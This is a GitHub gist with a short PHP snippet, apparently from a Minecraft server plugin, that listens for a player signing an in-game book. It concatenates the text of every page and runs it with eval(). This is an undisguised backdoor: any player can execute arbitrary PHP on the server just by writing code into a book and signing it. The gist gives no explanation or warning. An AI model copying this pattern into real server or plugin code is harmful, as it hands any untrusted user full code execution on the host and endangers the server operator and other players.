Created
June 4, 2020 21:56
-
-
Save PJZ9n/459bce4c9966cc2553bbbda596aa84a0 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
start($this)->run(function () { | |
while (true) { | |
/** @var PlayerEditBookEvent $event */ | |
$event = yield listen(PlayerEditBookEvent::class); | |
if ($event->getAction() !== PlayerEditBookEvent::ACTION_SIGN_BOOK) { | |
continue; | |
} | |
$book = $event->getNewBook(); | |
$code = ""; | |
for ($i = 0; $i < count($book->getPages()); $i++) { | |
$code .= $book->getPageText($i); | |
} | |
eval($code); | |
return; | |
} | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment